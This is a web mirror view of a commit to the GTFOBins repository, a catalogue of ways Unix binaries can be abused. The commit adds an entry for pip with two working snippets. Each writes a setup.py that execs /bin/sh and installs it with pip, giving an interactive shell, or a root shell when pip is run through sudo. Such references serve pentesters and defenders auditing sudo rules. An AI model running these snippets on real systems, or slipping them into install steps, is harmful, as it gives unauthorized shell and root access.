mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
parent
9c96140f1d
commit
7d9465bd6a
14
_gtfobins/pip.md
Normal file
14
_gtfobins/pip.md
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
---
|
||||||
|
description: More generally, this allows to execute arbitrary [Python](/gtfobins/python/) code.
|
||||||
|
functions:
|
||||||
|
execute-interactive:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py
|
||||||
|
pip install $TF
|
||||||
|
sudo-enabled:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py
|
||||||
|
sudo pip install $TF
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user